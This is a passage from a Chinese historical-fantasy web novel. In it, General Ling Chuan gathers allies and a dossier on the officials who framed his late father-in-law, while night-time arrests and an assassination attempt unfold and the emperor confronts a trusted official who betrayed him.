“他都说了什么?”苏璃轻声问道,声音里带着不易察觉的紧张。 “看样子,是专程来给我一个下马威,或者说,是一次警告!”凌川握住她微凉的手,沉声答道,目光却透过晃动的车帘,再次投向那座雨雾缭绕的山头。 他心中疑云密布,这位权倾朝野、日理万机的内阁首辅,为何要特意选在此时此地,淋着秋雨等他,难道就只是为了说这些似是而非、充满机锋的话? 凌川绝不相信,对方会无聊到仅仅是为了叙旧或者感慨人生而来,这背后定然有更深层的目的,只是他一时还未能完全参透。 与此同时,山道的另一侧,黄千浒已登上一辆外表看似朴素无华、内里装饰却极尽奢华舒适的四轮马车,车厢内温暖如春,与外面的凄风冷雨仿佛是两个世界。 他刚坐定,车厢内阴影处,便响起一个低沉而略带沙哑的嗓音,显然并非黄千浒本人: “如何?” 短短两字,却蕴含着巨大的压力。 第一卷 第452章 工部侍郎,娄桓 黄千浒接过侍从递来的热毛巾,擦了擦手,脸上的疲惫之色稍减,取而代之的是一种深沉的冷峻:“此子心志坚如磐石,对苏定方之死耿耿于怀,仇恨已深入骨髓。他铁了心要为其报仇雪恨,绝无可能为我等所用!”他的话语斩钉截铁,不留丝毫余地。 话音落下,车厢内陷入一片令人窒息的寂静,只有车轮碾过湿滑路面的声音,规律地响着。 凌川的车驾也缓缓起程,返回那座临时落脚的王府,马车在积水的青石板上轧出一道清晰的水痕。 刚下马车,早已守在门口的总管刘恩赐便快步迎了上来,躬身低语,语气带着一丝不易察觉的郑重:“将军,娄大人已在客堂等候多时了。” “娄大人?”凌川微微一怔,在脑海中迅速搜寻着相关信息,“哪位娄大人?” 刘恩赐的声音压得更低,清晰地回道:“工部左侍郎,娄桓娄大人!” 工部左侍郎,执掌帝国兵器鉴,乃是军国重器之源头。 四方边境、各州军械司所出之刀枪剑戟、盔甲盾牌,其制式模板皆源于此。倒非律法严令必须依样画瓢,实乃地方军械司缺乏创新之能,只得循着京师下发的模具依样铸造。 如凌川这般,能自创制式、另辟蹊径者,可谓立国以来未有之先例。 娄桓选择在此敏感时刻登门,实是压抑不住胸中澎湃的好奇与钦佩。 犹记得数月前,当他第一次捧起那柄来自云州的苍生刀时,指尖传来的寒意几乎让他战栗。 刀身流线如秋水,锋刃在日光下泛着幽蓝光泽,轻松便可刺穿铁甲,更令他震惊的是那套铠甲,甲片衔接之精妙,防护之周全,远非兵器鉴现有工艺所能及。 这位向来以锻造之术自傲的工部侍郎,在反复比对之后,不得不承认一个残酷的事实,凌川所铸的兵甲,无论在锋利度、韧性还是实用性上,都对他的作品形成了碾压之势。 这份挫败感在他心中萦绕不去,化作一股强烈的求知欲,他迫切想要亲眼见见,究竟是何等惊才绝艳之人,竟能在统兵征战之余,在锻造领域也达到如此登峰造极的境界。 因此,尽管深知此刻王府外不知有多少双眼睛在暗中窥视,尽管明白此举可能引来不必要的猜忌,娄桓还是按捺不住内心的冲动,毅然登门求教。 凌川迈入客堂时,正见一位年约四旬、鬓角微霜的中年人在堂中焦灼踱步,此人衣着朴素,甚至略显邋遢,袖口还有破损,一看便知是常年在工坊操劳之人。 “娄大人大驾光临,末将有失远迎,还望海涵!凌川拱手施礼,声音清朗。 娄桓闻声转身,眼中顿时迸发出炽热的光芒,他急忙还礼,语气中带着难以掩饰的激动:“将军客气了,是娄某不请自来,唐突之处,还望将军见谅!” 二人分宾主落座,侍婢奉上香茗,凌川轻抚茶盏,温声问道:“不知娄大人今日前来,所为何事?” 娄桓深吸一口气,直言不讳:“实不相瞒,娄某此番冒昧造访,正是为请教将军的兵甲锻造之术!” 凌川唇角微扬,不动声色地抿了口茶:“大人说笑了!凌某不过一介边关武夫,略通兵法已属侥幸,岂敢妄谈锻造之术?” “将军何必过谦!”娄桓向前倾身,目光灼灼,“云州军的战刀与铠甲,娄某都曾细细观摩。在见识苍生刀之前,娄某曾自负地以为,兵器鉴所出已是当世制式兵刃之极致。”他苦笑摇头,指节因用力而微微发白,“直至得见将军所铸之兵,方知从前不过是坐井观天。” 凌川见对方确有诚意,便也不再推诿:“既然大人已知晓内情,凌某也不相瞒。云州军兵甲确实出自我手,但此乃我云州军立命之本,恕难详述。” “将军误会了。”娄桓连连摆手,“娄某绝非觊觎将军秘术,只是有些困扰多年的锻造难题,想向将军请教。” “这倒无妨。”凌川颔首:“不过凌某只会纸上谈兵,云州军的兵甲虽是我一手设计,但却是工匠们一锤锤敲出来的!” “将军过谦了!”娄桓开怀大笑,眼角的皱纹都舒展开来。 接下来的两个时辰,二人相谈甚欢。娄桓就淬火工艺、钢材配比、甲片衔接等难题一一请教,凌川也倾囊相授。 从锻打时机的把握,到淬火介质的配比,凌川的解答每每让娄桓茅塞顿开,而娄桓提出的某些经验之谈,也让凌川暗自惊叹,这些都是需要长年累月实践才能悟出的诀窍。 娄桓听得极其专注,不时提笔记录,宣纸上很快便布满密密麻麻的工笔小楷,当侍婢第二次前来换茶后,娄桓才起身准备告辞。 临别时,娄桓整了整衣冠,对着凌川深深一揖:“今日得将军指点,解我多年困惑。此恩此德,娄某必当铭记。” “大人言重了!”凌川连忙扶住。 娄桓神色忽然变得凝重,压低声音道:“将军,神都这潭静水,因你归来已暗流涌动。即便是往日互为政敌的几大势力,如今也在暗中勾结,意图对将军不利。” 凌川面色如常,眸中却闪过一丝锐芒:“凌某既然敢来,便早已将生死置之度外!” “将军胆识,令人敬佩!”娄桓赞许地点头,“不过将军也不必过于忧心。在这天子脚下,他们尚不敢如路上那般明目张胆。娄某预计,所有手段都将集中在朝堂之上。” 他顿了顿,声音更加低沉,“而且将军须知,这神都城中,并非人人都是敌手。娄某愿与将军同进共退,以报今日指点之恩。” 凌川郑重抱拳:“大人这份心意,凌川感激不尽。” 娄桓最后凑近一步,几乎耳语道:“还有一事,将军务必当心大和使团!” 说罢,他不等凌川回应,便转身大步离去。 凌川望着娄桓远去的背影,眉头微蹙。 他原以为在这神都之中,只需应对朝堂明枪,却不料还要防备外邦暗箭,看来,这潭浑水,似乎比他想象的还要深不可测。 第一卷 第453章 柳云媚 接下来的几日,凌川都留在王府陪伴苏璃。他敏锐地察觉到,自从踏入神都,苏璃的情绪便一直低落。 尽管她强颜欢笑,但那红肿的眼眶和时常失神的目光,都瞒不过他的眼睛。 特别是从奉英山祭拜归来后,她虽极力表现得若无其事,可那双通红的眼眸却出卖了她内心的哀痛。 凌川没有刻意安慰,只是默默守在她身边,或是在庭院中漫步,或是在书房静坐,用无声的陪伴抚慰她内心的创伤。 这夜,月华如水。 凌川独自离开王府,既未携带随从,也未骑马佩刀,只一身素衣,信步走在寂静的朱雀大街上,夜风微凉,拂动他额前的发丝,却吹不散心中的烦闷。 不知不觉间,他来到了洛水河畔的百花坊,这里是神都夜间最繁华的去处,亦是最为堕落的地方。 成排的红灯笼将整条街映照得如同白昼,丝竹管弦之声不绝于耳,空气中弥漫着脂粉与酒香混杂的奢靡气息。 在这片浮华背后,却掩藏着风尘女子们不为人知的辛酸,她们的笑靥如花,不过是为了在这尘世中谋得一线生机;她们的才情与风姿,也仅是在这青楼的方寸之地绽放的短暂芳华。 其中大多是被卖入风月场所,自幼便接受各种训练,只为将来能取悦宾客。当然,也不乏自甘堕落,只为求得锦衣玉食的女子。 “公子,咱们绮梦居的酒美,人更美,快来玩啊!”一个娇媚的声音在耳畔响起。 “公子,还是我们醉月楼的姑娘更体贴,月曦姑娘正沐浴更衣,在等着公子呢!”另一个婉转的声音紧接着传来。 两旁楼阁上,不少女子朝凌川招手,更有甚者直接上前拉扯,凌川身形微侧,不着痕迹地避开这些热情的邀约,目光在灯火辉煌的街市上扫过。 不多时,他的视线定格在前方不远处的一块匾额上‘风雪楼’三个大字在灯影下熠熠生辉,凌川略一沉吟,便迈步朝那栋雕梁画栋的楼阁走去。 “公子一个人啊,里面请里面请……”一个风韵犹存的中年女子迎上前来,脸上堆着职业性的笑容。她身着绛紫色锦袍,发间簪着一支步摇,随着步履轻轻摇曳。 “公子是第一次来吗?有没有熟悉的姑娘?”她热情地介绍着,“咱们风雪楼不仅有最烈的酒,姑娘们也是各具特色,琴棋书画样样精通……” 凌川打断她的话,声音平静:“我要见柳云媚!” 那女子神色骤然一变,脸上的谄媚笑容瞬间收敛,取而代之的是深深的恭敬。 她仔细打量了凌川一番,低声道:“公子请随我来!” 她引着凌川穿过喧闹的大堂,沿着木质楼梯拾级而上,楼下的欢声笑语渐渐远去,取而代之的是一种诡异的寂静。 长廊两侧点着昏黄的灯笼,将二人的影子拉得忽长忽短,来到一扇雕花木门前,只见两名身着黑袍的男子肃立两侧。 一人腰佩战刀,目光如鹰;另一人怀抱长剑,神色冷峻。见凌川到来,二人同时投来审视的目光。 “小姐,客人到了!”中年女子在门外躬身禀报。 “请进来吧!”门内传来一个清脆悦耳的声音,宛若少女。 然而当房门推开,凌川却愣在原地,屋内端坐的并非想象中的年轻女子,而是一位白发苍苍的老妪,她身着素色锦袍,脸上布满皱纹,唯有那双眼睛,明亮得与年龄不符。 凌川心中暗惊,离开云州前,王夫人曾给他一封密信,提到风雪楼在神都分舵的舵主柳云媚是她的好姐妹,会给予他必要的帮助。 可他万万没想到,王夫人口中的好姐妹,竟是这般年迈的老妇人。 “将军请坐!”老妪开口,声音竟与方才门外的少女嗓音一般无二。 凌川强压下心头的诧异,神色如常地问道:“敢问老夫人,可是柳云媚?” “咯咯咯……”老妪发出一串银铃般的娇笑,那笑声与她的容貌形成了诡异的反差,她举手投足间,竟带着少女般的灵动。 就在这一瞬间,凌川敏锐地注意到,老妪那双放在膝上的手,竟是肌肤细腻、十指纤纤,全然不似年迈之人应有的模样。 对方顺着凌川的目光,也察觉到了这个破绽,顿时收起笑意,轻叹一声:“公子真是心细如发,这么快就看出了端倪!” 说罢,她伸手至脑后,轻轻一扯,竟将满头白发连同脸上的人皮面具一并揭下。 顿时,如瀑的黑发倾泻而下,露出一张娇俏可人的娃娃脸。她上唇点缀着一颗小巧的美人痣,更添几分灵动俏皮。 凌川这才恍然,此前在来神都的途中,沈七岁曾向他提及,江湖中有一种易容术,能以特制的人皮面具改变容貌。 此道高手制作的面具,甚至连最亲近之人都难以识破,想来眼前这位女子,便是精于此道的高手了。 “想不到柳小姐竟是易容高手,今日真是让我大开眼界!”凌川哑然失笑。 柳云媚歪着头,眨着一双明眸,俏皮地打量着凌川:“嘻嘻……听夫人说,凌将军面如冠玉、气质卓然,今日一见,果真名不虚传。” 她起身为凌川斟茶,动作优雅从容,烛光下,她真容明媚动人,与方才的老妪判若两人。 她不同于王夫人的睿智,也不同于温砚秋的温婉,而是带着一种稚气未脱的俏皮,但她们三人身上都有一个共同点,那就是漂亮。 “感谢柳小姐沿途多次派人解围,凌川感激不尽!” 柳云媚缓缓坐下,笑道:“将军不用谢我,我是看在夫人的面子上才帮你的,要谢,你回头当面谢她去!” “一定!”凌川点头说道:“我今夜来,是想请风雪楼帮我查一些人!” 柳云媚闻言,并没有问要查谁,而是将摆在自己面前的一个精巧木盒子推到凌川面前:“将军想要的东西,都在里面!” 凌川顿时一惊,自己都还没说,对方却事先准备好了,这如何能让他不震惊? 第一卷 第454章 罪状 凌川缓缓打开那个锦盒,只见盒内衬着深紫色的绒布,一本巴掌大小的册子静静躺在其中,封皮是普通的牛皮纸,看上去毫不起眼。 他小心翼翼地将其取出,指尖触碰到书页时,竟不自觉地微微颤抖,尽管已经猜到里面的内容,也做好了心理准备,但内心依旧不受控制地起伏。 翻开第一页,黄千浒三个字赫然映入眼帘,墨迹深沉,仿佛带着血痕。 下面密密麻麻地记录着这位内阁首辅在构陷苏大将军一事中的种种作为,如何罗织罪名,如何串联朝臣,如何在御前递上那封致命的奏折……每一笔都触目惊心。 凌川的呼吸渐渐沉重,他继续翻动册子。 第二页上是户部尚书顾承均的名字,详细记载了他如何克扣南疆军饷,如何伪造军需账目;第三页是刑部尚书林青迟,记录着他如何滥用刑罚,如何逼迫证人作伪证;再往后是廷尉府都统严争鸣,就连掌印司都有高层参与其中…… 越往后翻,凌川的心就越发沉重。 那些他从未听过的名字,却个个冠着正四品以上的显赫官职,每一页都详细记录着他们针对苏家的斑斑恶行,有的在朝堂上落井下石,有的在暗地里散布谣言,有的则直接参与了对苏大将军的迫害。 当翻到最后一页时,凌川的指节已经因用力而发白,他缓缓合上册子,深吸一口气,试图平复胸中翻涌的杀意。 烛光下,他的侧脸轮廓显得格外冷硬,眼中闪动着危险的光芒。 “敢问柳小姐……”凌川的声音低沉而克制,但那只握着册子的手仍在微微颤抖,“能给我多大帮助?” 柳云媚原本俏皮的笑容渐渐收敛,她正视着凌川的眼睛,语气异常认真:“既然是夫人的交代,那我这个当妹妹的,自然会竭尽全力!” 如果说,这是一句带着敷衍性质的场面话,那么接下来的一句话,就算是凌川也深感震惊:“只要能帮到将军,就算将风雪楼拼到山穷水尽,也在所不惜!” 凌川倒吸一口凉气,他万万没想到对方会下如此决心。 这背后,恐怕不仅仅是王夫人的情分,更可能代表着卢恽筹的态度。 “风雪楼在神都有多少人?”凌川追问道。 柳云媚没有直接回答,而是优雅地为他续了一杯茶,茶香在空气中氤氲开来,“近几日,从其他地方调了一些人手进入神都,应该够用了。” 她端起自己的茶杯,浅浅啜了一口,继续说道:“不过,暂时还用不着风雪楼出手。因为廷尉府在今夜就已经开始行动了!” “廷尉府?”凌川一怔。 “准确说,是阎鹤诏开始动手了!”柳云媚放下茶杯,指尖轻轻敲击着桌面,“至于他是不是代表廷尉府,目前还不知道。” 凌川神色再变。 此前阎鹤诏确实告诉过他此次要回神都复命,但并未多言其他,难道这位北疆廷尉府的都统,竟是为了他的事专程赶回神都? 就在凌川陷入沉思之际,神都的另一处宅邸中,刑部郎中周迟正摇摇晃晃地推开自家府门。 今夜他在同僚府上喝得酩酊大醉,此刻只觉得头重脚轻。 “夫人?翠儿?”他含糊不清地喊着,却无人应答。 府内一片漆黑,连盏引路的灯笼都没有点亮,周迟勉强站稳身子,借着朦胧的月光,隐约看见正堂中端坐着一道身影。 那人隐在黑暗中,只能看清一个大致的轮廓。 周迟的酒意顿时醒了大半,他下意识地摸向腰间佩刀,厉声喝道:“你是何人?” 堂中那人并未作答,但周迟能清晰地感受到一道冰冷的目光正锁定在自己身上。这种被毒蛇盯上的感觉让他毛骨悚然。 “来人!有刺客!”周迟放声大喊,声音在空荡的府邸中回荡,却得不到任何回应。 整座府邸静得可怕,连平日里彻夜不息的虫鸣都消失了。 就在这时,两旁的灯笼突然同时亮起,昏黄的光线将庭院照得影影绰绰。 周迟这才惊觉,四周的阴影中不知何时已经站了十余道黑影,他们如同雕塑般静立,面容隐在黑暗里,只有冰冷的眼神在夜色中闪烁。 紧接着,一块丈余宽的白布如瀑布般从正堂门楣上垂落,宛如一道门帘,正好隔在周迟与堂中那人之间。 白布上密密麻麻地写满了字,当周迟看清上面的内容时,顿时如遭雷击,整个人踉跄后退,险些跌坐在地。 那上面详细记录着他这些年来犯下的种种罪状,屈打成招、贪污受贿、栽赃陷害、残害忠良……一桩桩、一件件,时间、地点、涉案人员,无不详实准确。 而最让周迟胆寒的是最后那段记载…… 一年前,他如何对苏大将军滥用私刑,用竹签钉穿手掌脚背,用锁链穿透琵琶骨……那些被他刻意遗忘的血腥画面,此刻如潮水般涌上心头。 他清楚地记得,那位曾经威震南疆的将军,在短短两三日内就被折磨得不成人形。 “周大人!”堂内终于传来一个冰冷的声音,每个字都像是淬了寒冰,“这上面所写的,可有半句虚假?” 虽然四周已经亮堂,但那张写满罪状的白布依然将二人隔开,以至于周迟仍然看不清对方的容貌。但那声音中透出的寒意,却让他如坠冰窟。 “你、你究竟是谁?”周迟强作镇定,声音却不自觉地发颤。 “我问,你答!”堂内的声音更加冰冷,带着不容置疑的威严。 周迟的额头渗出细密的冷汗,他感到一阵天旋地转强烈的压迫法让他双腿开始发软,几乎要支撑不住身体的重量。 夜风穿过空荡的庭院,吹动着那张写满罪状的白布,发出细微的声响,每一道褶皱,都像是在诉说着一个血淋淋的真相。 周迟的内心在短暂的惊慌后,很快便强自镇定下来。 他不断在心里告诫自己,这里是神都,天子脚下,而他乃是堂堂刑部郎中,正五品官员,岂能被这些藏头露尾之辈吓倒? 第一卷 第455章 黑夜下的暗流 “尔等好大的胆子!”周迟怒喝一声,声音在空荡的庭院里回荡,“竟敢私闯朝廷命官府邸!我不管你是谁,立刻给我滚出去!” 说罢,他猛地拔出腰间战刀,寒光一闪,只听撕拉一声,挡在面前的白色布幔应声而断,半截白布飘飘荡荡落在地上,扬起细微的尘埃。 随着布幔落下,周迟终于看清了端坐于堂内之人的真容。 那人面容冷峻如万年寒铁,一双眸子锐利如鹰,尽管身着寻常青衫,并未穿戴那身令人闻风丧胆的玄色官服,但周迟还是一眼就认出了他。 活阎罗——阎鹤诏! 尽管阎鹤诏离开神都已数年之久,但满朝文武,谁人不识这位令百官寝食难安的煞星?无论过去还是现在,这个名字始终是悬在朝堂众人头顶的一柄利剑。 若追溯往昔,都察院本属刑部管辖,后来才独立出去。从某种意义上说,周迟与阎鹤诏还算得上是同出一脉。 当看清阎鹤诏面容的刹那,周迟如遭雷击,整个人僵立当场,手中的战刀‘哐当’一声掉落在地,在寂静的夜里发出刺耳的声响。 “周大人!”阎鹤诏的声音平静得可怕,那双眼睛宛如两把淬毒的钢锥,将周迟死死钉在原地,“你是在这里交代,还是到廷尉府大牢中去交代?” 一股刺骨的寒意自脚底窜起,瞬间袭遍周迟全身,最终直冲天灵盖,他只觉得浑身冰凉,连指尖都在微微颤抖。 “阎、阎大人……”周迟口干舌燥,喉咙像是被什么东西堵住,半晌才勉强挤出几个字。 “带走!”阎鹤诏不再多言,只淡淡吐出两个字。 不等周迟反抗,两名身着常服的廷尉便如鬼魅般上前,一左一右将他牢牢制住。他们的动作干净利落,显然都是训练有素的好手。 一行人沉默地离开府邸,来到门外,阎鹤诏对身后随从吩咐道:“将人押回廷尉府,没有我的命令,任何人不得接近!” 他顿了顿,目光扫过夜色中的长街,“其他人,随我去下一处。” 说罢,阎鹤诏登上停在暗处的马车,大批身着常服的廷尉随即隐入黑暗,如同潮水般退去,只留下空荡的府门在夜风中微微晃动。 …… 与此同时,永定坊的户部左侍郎府邸内,李维祯正辗转反侧,难以入眠。 几日后便是授封大典,按照他们原先的谋划,凌川本不该活着回到神都,可谁曾想,沿途布下的天罗地网,竟都被他一一闯过,最终竟真的让他踏入了神都。 若凌川仅仅是个镇北将军,倒也不足为惧,可问题在于,他娶了苏璃,成了已故南系军主帅苏定方的女婿,这意味着,他必会为苏定方翻案。 这不是猜测,而是此前种种迹象都已经表明的事实,更让人不安的是,此次凌川并非孤身返京,而是带着苏璃一同归来,这个举动本身,就是一个再明确不过的信号。 倘若苏定方当真谋反也就罢了,可满朝文武乃至市井百姓都心知肚明,他是被冤枉的,是被人强行安上的罪名。当初那些人,是铁了心要让他永世不得超生。 当然,若仅凭凌川一人,在这深不见底的神都也掀不起什么风浪。 可若是陛下也站在他这一边呢?那这桩已经盖棺定论的案件,未必就没有翻案的可能。 一旦翻案,他们这些当初充当马前卒的小角色,势必会成为第一批被推出来,充当平息怒火的对象。无论最终结果如何,他们的处境都已岌岌可危。 “相公何必如此忧心?”身旁只穿着亵衣的年轻妇人柔声劝道,一边挽住他的手臂,“他一个小小的凌川,能翻起什么风浪?这事儿都过去一年了,况且当初陛下也是点头首肯的。若是同意翻案,岂不是自打脸面,让皇权蒙羞吗?” 这女子并非李维祯的原配,而是数年前原配病逝后续弦的。她出身虽不算显赫,却也是书香门第,不仅温柔贤惠,容貌更是出众。 但最让李维祯沉迷的,还是她在床笫之间的万种风情,此刻她穿着绣着紫色鸳鸯图案的肚兜,大片雪白的肌肤裸露在外,在昏黄的烛光下显得格外诱人。 然而此刻的李维祯却毫无旖旎心思,只是长叹一声:“夫人有所不知,如今朝堂上的局势,实在不容乐观啊!” “妾身看相公是杞人忧天了!”女子柔声细语,“就算真有什么变故,不是还有顾尚书顶着吗?更何况他身后还站着首辅大人。即便是陛下,也得再三权衡吧?” 听到这话,李维祯神色骤变。 他平日里极少对夫人提及这桩案子,更从未透露过顾尚书和黄首辅是此案的主谋。可她方才的话,却是一语道破天机。 “你怎么会知道这些?”李维祯猛地转头,目光锐利地盯住她。 那妇人察觉到李维祯眼神中的警惕,连忙笑着打圆场:“是去年相公酒后与妾身说起的,难道相公忘了?” 她嘴上这般说着,眼神却不自觉地闪烁了一下,烛火在她脸上投下摇曳的影子,让那妩媚的笑容平添了几分难以捉摸的意味。 “好了相公,夜深了,咱们该歇息了!” 妇人妩媚一笑,那双眸子在昏黄的烛光下宛如勾魂的摄魄的钩子,仿佛要将人的魂魄都勾了去。 她轻轻掀开锦被,如一条滑腻的水蛇般俯身凑近李维祯身前。 然而李维祯全然没有察觉,就在她俯身的刹那,那双原本含情脉脉的眸子里闪过一丝冰冷的杀机,快得如同夜色中掠过的寒鸦。 就在这此时,门外突然传来一阵急促的脚步声,紧接着房门被重重敲响。 “谁?”李维祯惊坐而起,声音里带着明显的慌乱。 门外传来管家焦急的声音:“老爷,廷尉府……” 话音未落便戛然而止,仿佛被人扼住了咽喉。 听到廷尉府三个字,李维祯顿时面色惨白,正欲起身查看,那妇人却从被窝中钻出,柔声安抚道:“相公别慌,妾身这就送您离开。” 第一卷 第456章 弃子 “离开?去何处?”李维祯茫然不解。 “自然是送相公上路!” 话音未落,她手中寒光一闪,一柄细窄的短刀已如毒蛇吐信般直刺李维祯心口,刀身在烛光下泛着慑人的寒光。 彻骨的寒意瞬间席卷全身,李维祯双目圆睁,死死盯着这个同床共枕数载、一向温婉贤淑的妻子。 此刻的她仿佛换了个人,那张娇艳的面容扭曲成狰狞的杀意,眼神阴冷如冰,哪里还有半分往日的柔情? 无数念头在他脑海中电闪而过,眼看短刀就要刺入胸膛,他甚至来不及做出任何反应。 就在这生死一线间,只听一声破空之响,一枚石子穿透窗纸疾射而来,精准地击中女子持刀的手腕。 “啊……”女子痛呼一声,手腕处爆开一朵血花,短刀脱手掉落。 鲜血顺着她白皙的手臂蜿蜒流下,在锦被上晕开刺目的红。 房门在此时被推开,一道巍峨的身影逆着月光立在门口,虽然看不清面容,但那挺拔的身姿自带一股令人窒息的威压,仿佛一座不可撼动的山岳。 女子脸色骤变,顾不得再取李维祯性命,一把抓起散落在地的衣裳顺势扫灭烛火,同时身形如鬼魅般向后疾退,用身体撞破后窗跃出。 然而她刚落地,便听阵阵破空声袭来。 月光下,密密麻麻的弩箭如飞蝗般向她罩来,箭镞在夜色中闪烁着致命的寒光。 女子临危不乱,迅速舞动手中锦袍,衣袂翻飞间竟将迎面而来的短箭尽数卷住,与此同时,她身形如烟,向着黑暗深处急掠而去。 “哪里走!” 几声冷喝乍起,数把螭玄刀同时出鞘,刀光如雪,宛如群狼露出的獠牙,瞬间封死了所有去路。 女子面色一沉,右手腕仍在汩汩流血,已然无法动弹,只得单凭左手应敌。 她冷哼一声,手中那件千疮百孔的锦袍猛然抖动,灌注真气后竟绷得笔直如铁,原本柔软的丝带瞬间化作夺命利器。 她目光阴冷如毒蛇,瞅准一个相对薄弱的方向疾冲而去,企图撕裂包围圈。 然而还未冲出几步,一张大网从天而降,将她牢牢罩住。 女子正欲挣扎,几把冰冷的战刀已经抵住她的咽喉,让她瞬间丧失了反抗能力。 “拿下,留活口!”一道冷漠的声音从暗处传来。 与此同时,房间内的阎鹤诏不紧不慢地拉过一把椅子在床前坐下。 他没有点灯,任由月光透过破窗洒落,在那张冷峻的脸上投下明明灭灭的阴影,那双锐利的眸子在黑暗中熠熠生辉,仿佛能穿透一切伪装,直抵人心最隐秘的角落。 “李侍郎,现在可看清了?你不过是一枚随时可以舍弃的棋子!”阎鹤诏的声音平淡无波,却字字诛心。 李维祯瘫在床上,大口喘着粗气,浑身早已被冷汗浸透。 方才在鬼门关前走了一遭的恐惧仍未散去,心脏剧烈地跳动着,几乎要冲破胸腔。 此刻他脑海中反复盘旋着一个问题,这个与他恩爱数载、温柔娴淑的妻子,为何会突然对他痛下杀手?往日的耳鬓厮磨、软语温存,难道全是虚情假意? “她的身份是伪造的,出现在你身边也是有人刻意安排。包括你原配夫人的死,也并非偶然!”阎鹤诏冰冷的声音再次响起,每一个字都像重锤般敲击在李维祯心上。 月光缓缓移动,渐渐照亮了阎鹤诏的半张侧脸。那刀削般的轮廓在银辉下显得格外冷硬,仿佛一尊无情的判官,正在审判着人间的罪与罚。 李维祯艰难地吞咽着口水,喉咙干涩得发疼。 子时过半,万籁俱寂,神都的夜色愈发深沉。 阎鹤诏带领的人马如同暗夜中无声的潮水,继续涌向名单上的下一个目标。 他步伐沉稳,面容冷峻,宛如行走于黑暗中的判官,带走一个又一个或面如死灰、或激烈挣扎的身影。 偶尔,也会有兵刃相交的短暂铮鸣与闷哼声响起,那意味着有人选择了最决绝的方式逃避审判,今夜,这位活阎罗判下的,不仅是牢狱之灾,更有即刻的生死。 黄府深处,书房外的廊下,管家脚步虽极力放轻,却仍透着一丝难以掩饰的急促。 他在那扇紧闭的檀木门外驻足,犹豫了片刻,终是抬手,指节在门板上叩出轻而清晰的声响,在幽静的院落里显得格外突兀。 屋内静默一瞬,随即传来黄千浒那听不出喜怒的声音,带着一丝被惊扰后的沙哑:“何事?” 管家躬身,将声音压得极低,仿佛怕惊动了什么,“老爷!廷尉府的严都统派人送来加急密信!” “放在门口吧!”屋内的声音顿了片刻,才缓缓传来。 管家依言,小心翼翼地将那封火漆密封的信函置于门前光洁的青石板上,旋即躬身退下,身影迅速融入廊下的阴影之中。 片刻,房门被无声地拉开一道缝隙。 披着一件暗紫色锦缎常服的黄千浒探出身,目光先警惕地扫过空无一人的庭院,这才弯腰拾起那封密信,他回到房中,掩上门,走到书案前,拨亮了油灯的灯芯。 跳跃的火光映亮了他布满皱纹的脸颊和那块醒目的老年斑。 他拆开信,目光缓缓扫过纸上的字迹,瞳孔随着阅读的深入而微微收缩,许久,他放下信纸,发出一声几不可闻的轻叹。 “陛下,您这是非要逼着老臣走到那一步不可啊……”那叹息声中竟带着几分复杂的疲惫与冰冷的决意。 随后,他将信纸一角凑近灯焰,橘红色的火舌迅速舔舐而上,纸张缓缓蜷曲,化为片片灰烬,无声飘落,如同今夜许多人的命运。 与此同时,神都夜色之下,暗流涌动。 后半夜,金属甲叶的碰撞声与整齐沉重的脚步声开始在许多坊市间回荡,打破了原有的秩序。 不仅是阎鹤诏的廷尉府精锐,蓝少堂率领的禁军也加入了这场无声的清洗,火把的光芒在街巷间流动,映照着一张张或惊恐、或冷漠的百姓面孔,整个神都笼罩在一片山雨欲来的压抑之中。 第一卷 第457章 请陛下赐臣一死 皇宫,御书房。 烛火通明,将室内映照得亮如白昼,却驱不散那几乎凝为实质的沉重压力。 禁军统帅南宫昰与廷尉府总督丁爻正襟危坐,身体僵硬,连呼吸都刻意放轻,二人目光低垂,只能偶尔用眼角的余光,飞快地瞥向御案之后那尊贵的身影。 大周天子,周承渊。 年过五旬,两鬓已染秋霜,此刻正默然端坐,他眉头微蹙,手指无意识地敲击着光滑的紫檀木御案,每一下轻响,都仿佛敲在南宫昰与丁爻的心头。 一股无形的帝王威压弥漫开来,让这温暖的室内恍若冰窖。 每隔半个时辰,便有一名身着黑衣、行动如风的龙甲卫悄然入内,将一份最新的密报恭敬呈于御案,皇帝展开密报,目光锐利如刀,快速扫过其上内容不多,却异常沉重的字迹,脸色也随之愈发阴沉。 这已经是第七封密报,皇帝看完后并未立即言语,只是缓缓将密报合拢,递给侍立在一旁的老太监晋槐安。 晋槐安连忙躬身,双手接过,脚步轻悄地送到南宫昰与丁爻面前。 二人急忙起身,双手捧过,几乎是屏住呼吸,逐字逐句地仔细阅读,上面的进展速度与牵扯出的人员,远超他们最初的预料。 两人心中雪亮,陛下今夜绕过他们,直接启用蓝少堂与阎鹤诏动手,却将他二人拘在这御书房,名为商议,实为监视与考验。 当第九封密报被送入,内容展现在丁爻眼前时,他握着纸张的手指开始不受控制地微微颤抖,额头上沁出的细密冷汗,在烛光下闪烁着晶莹的光泽,他终于无法再维持表面的镇定。 “噗通!” 一声沉闷的声响,丁爻竟直接从滑落到地上,双膝跪地,官帽歪斜,露出了些许花白的头发。 他这位执掌廷尉府多年,令百官闻风丧胆的铁腕人物,此刻却如同被抽走了脊梁骨,瘫软在地。 “陛下……”他的声音带着剧烈的颤抖,充满了绝望,“臣……万死难辞其咎!请陛下赐臣一死!” 御书房内死寂一片,只有灯花偶尔爆开的轻微噼啪声。 许久,皇帝周承渊才缓缓开口,声音平静,却蕴含着风暴来临前的压抑:“丁爻,你跟着朕,有多少年了?” “回,回陛下……”丁爻以头触地,不敢抬起,“臣打小跟随陛下,还差三个月就四十年了……” “这些年来,朕可曾亏待过你?”皇帝的声音依旧平稳,但目光却如实质般落在丁爻背上。 “陛下圣恩浩荡,待臣恩重如山!是臣……是臣猪油蒙心,辜负圣恩,臣罪该万死!”丁爻的声音带着哭腔,已是语无伦次。 “朕这些年来,可以说怀疑过所有人,却从未怀疑到你头上!”皇帝的声音陡然转厉,带着一丝痛心与难以置信的愤怒,“你告诉朕,为何?为何要背叛朕?” 此时的皇帝可谓是愤怒到了极点,于他而言,丁爻不仅仅是一名臣子,而是自己从小长到大的玩伴,更是自己最信任的人之一。 丁爻伏在地上,肩膀剧烈耸动,痛哭流涕,却不再为自己辩解分毫,他知道,任何辩解在事实面前都显得苍白无力。 “一步踏错,便是万丈深渊……臣,无颜面对陛下,只求速死,以赎罪孽……” 皇帝深吸一口气,强行压下翻涌的怒火,侧首对身旁面色同样有些发白的老太监晋槐安吩咐道:“去,把通天卫的名册取来,让他指认!” 晋槐安眼中闪过一丝极快的慌乱,他躬下身,声音带着迟疑:“陛下,这……这恐不合规矩,通天卫名录乃绝密,岂能……” 